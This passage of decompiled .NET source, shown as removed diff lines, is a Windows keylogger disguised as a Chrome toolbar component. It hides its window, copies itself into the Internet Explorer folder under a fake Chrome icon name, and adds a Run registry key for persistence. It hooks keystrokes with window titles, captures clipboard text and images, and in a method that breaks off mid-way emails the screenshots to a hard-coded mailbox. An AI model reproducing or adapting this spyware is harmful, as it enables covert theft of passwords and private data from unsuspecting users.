MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox2 = value; - } - - internal virtual Label Label4 - { - [DebuggerNonUserCode] get => this._Label4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value; - } - - internal virtual TextBox TextBox2 - { - [DebuggerNonUserCode] get => this._TextBox2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.TextBox2_TextChanged); - if (this._TextBox2 != null) - this._TextBox2.TextChanged -= eventHandler; - this._TextBox2 = value; - if (this._TextBox2 == null) - return; - this._TextBox2.TextChanged += eventHandler; - } - } - - internal virtual PictureBox PictureBox1 - { - [DebuggerNonUserCode] get => this._PictureBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value; - } - - internal virtual PictureBox PictureBox2 - { - [DebuggerNonUserCode] get => this._PictureBox2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox2 = value; - } - - internal virtual PictureBox PictureBox3 - { - [DebuggerNonUserCode] get => this._PictureBox3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox3 = value; - } - - internal virtual PictureBox PictureBox4 - { - [DebuggerNonUserCode] get => this._PictureBox4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox4 = value; - } - - internal virtual PictureBox PictureBox5 - { - [DebuggerNonUserCode] get => this._PictureBox5; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox5 = value; - } - - internal virtual PictureBox PictureBox6 - { - [DebuggerNonUserCode] get => this._PictureBox6; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox6 = value; - } - - internal virtual PictureBox PictureBox7 - { - [DebuggerNonUserCode] get => this._PictureBox7; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox7 = value; - } - - internal virtual Label Label5 - { - [DebuggerNonUserCode] get => this._Label5; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label5 = value; - } - - internal virtual Label Label6 - { - [DebuggerNonUserCode] get => this._Label6; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label6 = value; - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - [DebuggerNonUserCode] get => this._Timer2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer2_Tick); - if (this._Timer2 != null) - this._Timer2.Tick -= eventHandler; - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += eventHandler; - } - } - - internal virtual Label Label9 - { - [DebuggerNonUserCode] get => this._Label9; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label9 = value; - } - - internal virtual Label Label11 - { - [DebuggerNonUserCode] get => this._Label11; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label11 = value; - } - - internal virtual Label Label7 - { - [DebuggerNonUserCode] get => this._Label7; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label7 = value; - } - - internal virtual Label Label8 - { - [DebuggerNonUserCode] get => this._Label8; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label8 = value; - } - - internal virtual GroupBox GroupBox3 - { - [DebuggerNonUserCode] get => this._GroupBox3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox3 = value; - } - - internal virtual Button Button1 - { - [DebuggerNonUserCode] get => this._Button1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Button1_Click); - if (this._Button1 != null) - this._Button1.Click -= eventHandler; - this._Button1 = value; - if (this._Button1 == null) - return; - this._Button1.Click += eventHandler; - } - } - - internal virtual Label Label3 - { - [DebuggerNonUserCode] get => this._Label3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value; - } - - internal virtual Label Label10 - { - [DebuggerNonUserCode] get => this._Label10; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label10 = value; - } - - internal virtual GroupBox GroupBox4 - { - [DebuggerNonUserCode] get => this._GroupBox4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox4 = value; - } - - internal virtual Button Button15 - { - [DebuggerNonUserCode] get => this._Button15; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button15 = value; - } - - internal virtual Button Button16 - { - [DebuggerNonUserCode] get => this._Button16; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button16 = value; - } - - internal virtual Button Button17 - { - [DebuggerNonUserCode] get => this._Button17; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button17 = value; - } - - internal virtual Button Button18 - { - [DebuggerNonUserCode] get => this._Button18; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button18 = value; - } - - internal virtual Button Button9 - { - [DebuggerNonUserCode] get => this._Button9; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button9 = value; - } - - internal virtual Button Button10 - { - [DebuggerNonUserCode] get => this._Button10; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button10 = value; - } - - internal virtual Button Button11 - { - [DebuggerNonUserCode] get => this._Button11; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button11 = value; - } - - internal virtual Button Button12 - { - [DebuggerNonUserCode] get => this._Button12; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Button12_Click); - if (this._Button12 != null) - this._Button12.Click -= eventHandler; - this._Button12 = value; - if (this._Button12 == null) - return; - this._Button12.Click += eventHandler; - } - } - - internal virtual Button Button13 - { - [DebuggerNonUserCode] get => this._Button13; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button13 = value; - } - - internal virtual Button Button14 - { - [DebuggerNonUserCode] get => this._Button14; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button14 = value; - } - - internal virtual Button Button6 - { - [DebuggerNonUserCode] get => this._Button6; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button6 = value; - } - - internal virtual Button Button7 - { - [DebuggerNonUserCode] get => this._Button7; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button7 = value; - } - - internal virtual Button Button8 - { - [DebuggerNonUserCode] get => this._Button8; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button8 = value; - } - - internal virtual Button Button5 - { - [DebuggerNonUserCode] get => this._Button5; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button5 = value; - } - - internal virtual Button Button4 - { - [DebuggerNonUserCode] get => this._Button4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button4 = value; - } - - internal virtual Button Button3 - { - [DebuggerNonUserCode] get => this._Button3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button3 = value; - } - - internal virtual Button Button2 - { - [DebuggerNonUserCode] get => this._Button2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Button2 = value; - } - - internal virtual GroupBox GroupBox5 - { - [DebuggerNonUserCode] get => this._GroupBox5; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox5 = value; - } - - internal virtual Button Button19 - { - [DebuggerNonUserCode] get => this._Button19; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Button19_Click); - if (this._Button19 != null) - this._Button19.Click -= eventHandler; - this._Button19 = value; - if (this._Button19 == null) - return; - this._Button19.Click += eventHandler; - } - } - - internal virtual GroupBox GroupBox6 - { - [DebuggerNonUserCode] get => this._GroupBox6; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox6 = value; - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - [DebuggerNonUserCode] get => this._Timer3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer3_Tick); - if (this._Timer3 != null) - this._Timer3.Tick -= eventHandler; - this._Timer3 = value; - if (this._Timer3 == null) - return; - this._Timer3.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual Label Label12 - { - [DebuggerNonUserCode] get => this._Label12; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label12 = value; - } - - internal virtual Label Label13 - { - [DebuggerNonUserCode] get => this._Label13; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label13 = value; - } - - internal virtual Label Label14 - { - [DebuggerNonUserCode] get => this._Label14; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label14 = value; - } - - internal virtual Label Label15 - { - [DebuggerNonUserCode] get => this._Label15; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label15 = value; - } - - internal virtual Label Label16 - { - [DebuggerNonUserCode] get => this._Label16; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label16 = value; - } - - internal virtual Label Label17 - { - [DebuggerNonUserCode] get => this._Label17; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label17 = value; - } - - internal virtual Label c1 - { - [DebuggerNonUserCode] get => this._c1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._c1 = value; - } - - internal virtual Label x999 - { - [DebuggerNonUserCode] get => this._x999; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._x999 = value; - } - - internal virtual Label o0000 - { - [DebuggerNonUserCode] get => this._o0000; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._o0000 = value; - } - - internal virtual Label zazazaza2323 - { - [DebuggerNonUserCode] get => this._zazazaza2323; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._zazazaza2323 = value; - } - - internal virtual Label mynet - { - [DebuggerNonUserCode] get => this._mynet; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._mynet = value; - } - - internal virtual GroupBox sensin - { - [DebuggerNonUserCode] get => this._sensin; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._sensin = value; - } - - internal virtual Label benim - { - [DebuggerNonUserCode] get => this._benim; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._benim = value; - } - - internal virtual Label a777 - { - [DebuggerNonUserCode] get => this._a777; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._a777 = value; - } - - internal virtual TextBox TextBox3 - { - [DebuggerNonUserCode] get => this._TextBox3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value; - } - - internal virtual TextBox TextBox4 - { - [DebuggerNonUserCode] get => this._TextBox4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox4 = value; - } - - internal virtual TextBox TextBox5 - { - [DebuggerNonUserCode] get => this._TextBox5; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox5 = value; - } - - private virtual Keyboard K - { - [DebuggerNonUserCode] get => this._K; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - Keyboard.DownEventHandler downEventHandler = new Keyboard.DownEventHandler(this.K_Down); - if (this._K != null) - Keyboard.Down -= downEventHandler; - this._K = value; - if (this._K == null) - return; - Keyboard.Down += downEventHandler; - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern void keybd_event(byte bVk, byte bScan, int dwFlags, int dwExtraInfo); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetKeyState(long keys); - - private void Form1_Load(object sender, EventArgs e) - { - this.ProgramKontrol(); - Color color; - this.BackColor = color; - this.TransparencyKey = this.BackColor; - this.Gizle(); - this.BilgisayarismiHTML(); - this.Baslangıcaekle(); - this.K.CreateHook(); - } - - private string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - private void K_Down(string key) - { - if (Operators.CompareString(this.strin, this.GetActiveWindowTitle(), false) != 0) - { - this.TextBox1.Text = this.TextBox1.Text + "\r\n" + this.Label2.Text + "

" + this.GetActiveWindowTitle() + "

" + this.Label1.Text + "\r\n"; - this.strin = this.GetActiveWindowTitle(); - } - this.TextBox1.Text += key; - } - - public void BilgisayarismiHTML() => this.Label4.Text = MyProject.Computer.Name + Conversions.ToString(DateAndTime.TimeOfDay.Second) + Conversions.ToString(DateAndTime.TimeOfDay.Minute); - - public void Gizle() - { - this.Hide(); - this.ShowInTaskbar = false; - this.Opacity = 0.0; - } - - public void Baslangıcaekle() - { - string destinationFileName = "C:\\Program Files\\Internet Explorer\\ChromeToolbarsicn.exe"; - if (!File.Exists("C:\\Program Files\\Internet Explorer\\ChromeToolbarsicn.exe")) - Microsoft.VisualBasic.FileIO.FileSystem.CopyFile(Application.ExecutablePath, destinationFileName, true); - MyProject.Computer.Registry.SetValue("HKEY_lOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "GoogleChromeİcon", (object) destinationFileName); - } - - public void ProgramKontrol() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; -label_2: - num3 = 3; - string withoutExtension = Path.GetFileNameWithoutExtension(moduleName); -label_3: - num3 = 4; - Process[] processesByName = Process.GetProcessesByName(withoutExtension); -label_4: - num3 = 5; - if (processesByName.Length > 1) - { - ProjectData.EndApp(); - goto label_12; - } - else - goto label_12; -label_7: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - case 7: - case 8: - goto label_12; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_7; - } - throw ProjectData.CreateProjectError(-2146828237); -label_12: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void Timer2_Tick(object sender, EventArgs e) => this.TextBox2.Text = Clipboard.GetText(); - - private void TextBox2_TextChanged(object sender, EventArgs e) => this.TextBox1.Text = this.TextBox1.Text + this.Label5.Text + this.TextBox2.Text + this.Label6.Text; - - public bool SaveScreen(string theFile) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - IDataObject dataObject = Clipboard.GetDataObject(); -label_2: - ProjectData.ClearProjectError(); - num1 = -3; -label_3: - ProjectData.ClearProjectError(); - num1 = -4; -label_4: - num3 = 5; - if (!dataObject.GetDataPresent(typeof (Bitmap))) - goto label_18; -label_5: - ProjectData.ClearProjectError(); - num1 = -5; -label_6: - num3 = 7; - Bitmap data = (Bitmap) dataObject.GetData(typeof (Bitmap)); -label_7: - ProjectData.ClearProjectError(); - num1 = -6; -label_8: - num3 = 9; - this.PictureBox1.Image = (Image) data; -label_9: - ProjectData.ClearProjectError(); - num1 = -7; -label_10: - num3 = 11; - this.PictureBox1.Image.Save(theFile, ImageFormat.Jpeg); -label_11: - ProjectData.ClearProjectError(); - goto label_18; -label_13: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - case 14: - goto label_18; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_13; - } - throw ProjectData.CreateProjectError(-2146828237); -label_18: - bool flag; - int num5 = flag ? 1 : 0; - if (num2 == 0) - return num5 != 0; - ProjectData.ClearProjectError(); - return num5 != 0; - } - - public bool SaveScreen2(string theFile) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - ProjectData.ClearProjectError(); - num1 = -3; -label_2: - int num3 = 3; - IDataObject dataObject = Clipboard.GetDataObject(); -label_3: - ProjectData.ClearProjectError(); - num1 = -4; -label_4: - ProjectData.ClearProjectError(); - num1 = -5; -label_5: - num3 = 6; - if (!dataObject.GetDataPresent(typeof (Bitmap))) - goto label_19; -label_6: - ProjectData.ClearProjectError(); - num1 = -6; -label_7: - num3 = 8; - Bitmap data = (Bitmap) dataObject.GetData(typeof (Bitmap)); -label_8: - ProjectData.ClearProjectError(); - num1 = -7; -label_9: - num3 = 10; - this.PictureBox2.Image = (Image) data; -label_10: - ProjectData.ClearProjectError(); - num1 = -8; -label_11: - num3 = 12; - this.PictureBox2.Image.Save(theFile, ImageFormat.Jpeg); -label_12: - ProjectData.ClearProjectError(); - goto label_19; -label_14: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - case 15: - goto label_19; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_14; - } - throw ProjectData.CreateProjectError(-2146828237); -label_19: - bool flag; - int num5 = flag ? 1 : 0; - if (num2 == 0) - return num5 != 0; - ProjectData.ClearProjectError(); - return num5 != 0; - } - - public bool SaveScreen3(string theFile) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - ProjectData.ClearProjectError(); - num1 = -3; -label_2: - int num3 = 3; - IDataObject dataObject = Clipboard.GetDataObject(); -label_3: - ProjectData.ClearProjectError(); - num1 = -4; -label_4: - ProjectData.ClearProjectError(); - num1 = -5; -label_5: - num3 = 6; - if (!dataObject.GetDataPresent(typeof (Bitmap))) - goto label_19; -label_6: - ProjectData.ClearProjectError(); - num1 = -6; -label_7: - num3 = 8; - Bitmap data = (Bitmap) dataObject.GetData(typeof (Bitmap)); -label_8: - ProjectData.ClearProjectError(); - num1 = -7; -label_9: - num3 = 10; - this.PictureBox3.Image = (Image) data; -label_10: - ProjectData.ClearProjectError(); - num1 = -8; -label_11: - num3 = 12; - this.PictureBox3.Image.Save(theFile, ImageFormat.Jpeg); -label_12: - ProjectData.ClearProjectError(); - goto label_19; -label_14: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - case 15: - goto label_19; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_14; - } - throw ProjectData.CreateProjectError(-2146828237); -label_19: - bool flag; - int num5 = flag ? 1 : 0; - if (num2 == 0) - return num5 != 0; - ProjectData.ClearProjectError(); - return num5 != 0; - } - - public bool SaveScreen4(string theFile) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - ProjectData.ClearProjectError(); - num1 = -3; -label_2: - int num3 = 3; - IDataObject dataObject = Clipboard.GetDataObject(); -label_3: - ProjectData.ClearProjectError(); - num1 = -4; -label_4: - ProjectData.ClearProjectError(); - num1 = -5; -label_5: - num3 = 6; - if (!dataObject.GetDataPresent(typeof (Bitmap))) - goto label_19; -label_6: - ProjectData.ClearProjectError(); - num1 = -6; -label_7: - num3 = 8; - Bitmap data = (Bitmap) dataObject.GetData(typeof (Bitmap)); -label_8: - ProjectData.ClearProjectError(); - num1 = -7; -label_9: - num3 = 10; - this.PictureBox4.Image = (Image) data; -label_10: - ProjectData.ClearProjectError(); - num1 = -8; -label_11: - num3 = 12; - this.PictureBox4.Image.Save(theFile, ImageFormat.Jpeg); -label_12: - ProjectData.ClearProjectError(); - goto label_19; -label_14: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - case 15: - goto label_19; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_14; - } - throw ProjectData.CreateProjectError(-2146828237); -label_19: - bool flag; - int num5 = flag ? 1 : 0; - if (num2 == 0) - return num5 != 0; - ProjectData.ClearProjectError(); - return num5 != 0; - } - - public bool SaveScreen5(string theFile) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - ProjectData.ClearProjectError(); - num1 = -3; -label_2: - int num3 = 3; - IDataObject dataObject = Clipboard.GetDataObject(); -label_3: - ProjectData.ClearProjectError(); - num1 = -4; -label_4: - ProjectData.ClearProjectError(); - num1 = -5; -label_5: - num3 = 6; - if (!dataObject.GetDataPresent(typeof (Bitmap))) - goto label_19; -label_6: - ProjectData.ClearProjectError(); - num1 = -6; -label_7: - num3 = 8; - Bitmap data = (Bitmap) dataObject.GetData(typeof (Bitmap)); -label_8: - ProjectData.ClearProjectError(); - num1 = -7; -label_9: - num3 = 10; - this.PictureBox5.Image = (Image) data; -label_10: - ProjectData.ClearProjectError(); - num1 = -8; -label_11: - num3 = 12; - this.PictureBox5.Image.Save(theFile, ImageFormat.Jpeg); -label_12: - ProjectData.ClearProjectError(); - goto label_19; -label_14: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - case 15: - goto label_19; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_14; - } - throw ProjectData.CreateProjectError(-2146828237); -label_19: - bool flag; - int num5 = flag ? 1 : 0; - if (num2 == 0) - return num5 != 0; - ProjectData.ClearProjectError(); - return num5 != 0; - } - - public bool SaveScreen6(string theFile) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - IDataObject dataObject = Clipboard.GetDataObject(); -label_2: - ProjectData.ClearProjectError(); - num1 = -3; -label_3: - ProjectData.ClearProjectError(); - num1 = -4; -label_4: - num3 = 5; - if (!dataObject.GetDataPresent(typeof (Bitmap))) - goto label_18; -label_5: - ProjectData.ClearProjectError(); - num1 = -5; -label_6: - num3 = 7; - Bitmap data = (Bitmap) dataObject.GetData(typeof (Bitmap)); -label_7: - ProjectData.ClearProjectError(); - num1 = -6; -label_8: - num3 = 9; - this.PictureBox6.Image = (Image) data; -label_9: - ProjectData.ClearProjectError(); - num1 = -7; -label_10: - num3 = 11; - this.PictureBox6.Image.Save(theFile, ImageFormat.Jpeg); -label_11: - ProjectData.ClearProjectError(); - goto label_18; -label_13: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - case 14: - goto label_18; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_13; - } - throw ProjectData.CreateProjectError(-2146828237); -label_18: - bool flag; - int num5 = flag ? 1 : 0; - if (num2 == 0) - return num5 != 0; - ProjectData.ClearProjectError(); - return num5 != 0; - } - - public bool SaveScreen7(string theFile) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - ProjectData.ClearProjectError(); - num1 = -3; -label_2: - int num3 = 3; - IDataObject dataObject = Clipboard.GetDataObject(); -label_3: - ProjectData.ClearProjectError(); - num1 = -4; -label_4: - ProjectData.ClearProjectError(); - num1 = -5; -label_5: - num3 = 6; - if (!dataObject.GetDataPresent(typeof (Bitmap))) - goto label_18; -label_6: - ProjectData.ClearProjectError(); - num1 = -6; -label_7: - num3 = 8; - Bitmap data = (Bitmap) dataObject.GetData(typeof (Bitmap)); -label_8: - ProjectData.ClearProjectError(); - num1 = -7; -label_9: - num3 = 10; - this.PictureBox7.Image = (Image) data; -label_10: - num3 = 11; - this.PictureBox7.Image.Save(theFile, ImageFormat.Jpeg); -label_11: - ProjectData.ClearProjectError(); - goto label_18; -label_13: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - case 14: - goto label_18; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_13; - } - throw ProjectData.CreateProjectError(-2146828237); -label_18: - bool flag; - int num5 = flag ? 1 : 0; - if (num2 == 0) - return num5 != 0; - ProjectData.ClearProjectError(); - return num5 != 0; - } - - private void Timer3_Tick(object sender, EventArgs e) - { - } - - public void gonderseneamq() - { - this.Timer1.Enabled = false; - this.K.DiposeHook(); - MailMessage message = new MailMessage(); - try - { - message.To = "kajem2@mynet.com"; - message.From = "itester59@aol.com"; - message.Subject = MyProject.Computer.Name; - if (MyProject.Computer.FileSystem.FileExists("C:\\Program Files\\Internet Explorer\\1.jpg")) - message.Attachments.Add((object) new MailAttachment("C:\\Program Files\\Internet Explorer\\1.jpg")); - if (MyProject.Computer.FileSystem.FileExists("C:\\Program Files\\Internet Explorer\\2.jpg")) - message.Attachments.Add((object) new MailAttachment("C:\\Program Files\\Internet Explorer\\2.jpg")); - if (MyProject.Computer.FileSystem.FileExists("C:\\Program Files\\Internet Explorer\\3.jpg")) - message.Attachments.Add((object) new MailAttachment("C:\\Program Files\\Internet Explorer\\3.jpg")); - if (MyProject.Computer.FileSystem.FileExists("C:\\Program Files\\Internet Explorer\\4.jpg")) - message.Attachments.Add((object) new MailAttachment("C:\\Program Files\\Internet Explorer\\3.jpg")); - if (MyProject.Computer.FileSystem.FileExists("C:\\Program Files\\Internet Explorer\\5.jpg")) - message.Attachments.Add((object) new MailAttachment("C:\\Program Files\\Internet Explorer\\5.jpg")); - if (MyProject.Computer.FileSystem.FileExists("C:\\Program Files\\Internet Explorer\\6.jpg")) - message.Attachments.Add((object) new MailAttachment("C:\\Program Files\\Internet Explorer\\6.jpg")); - if (MyProject.Computer.FileSystem.FileExists("C:\\Program Files\\Internet Explorer\\7.jpg")) - message.Attachments.Add((object) new MailAttachment("C:\\Program Files\\Internet Explorer\\7.jpg")); 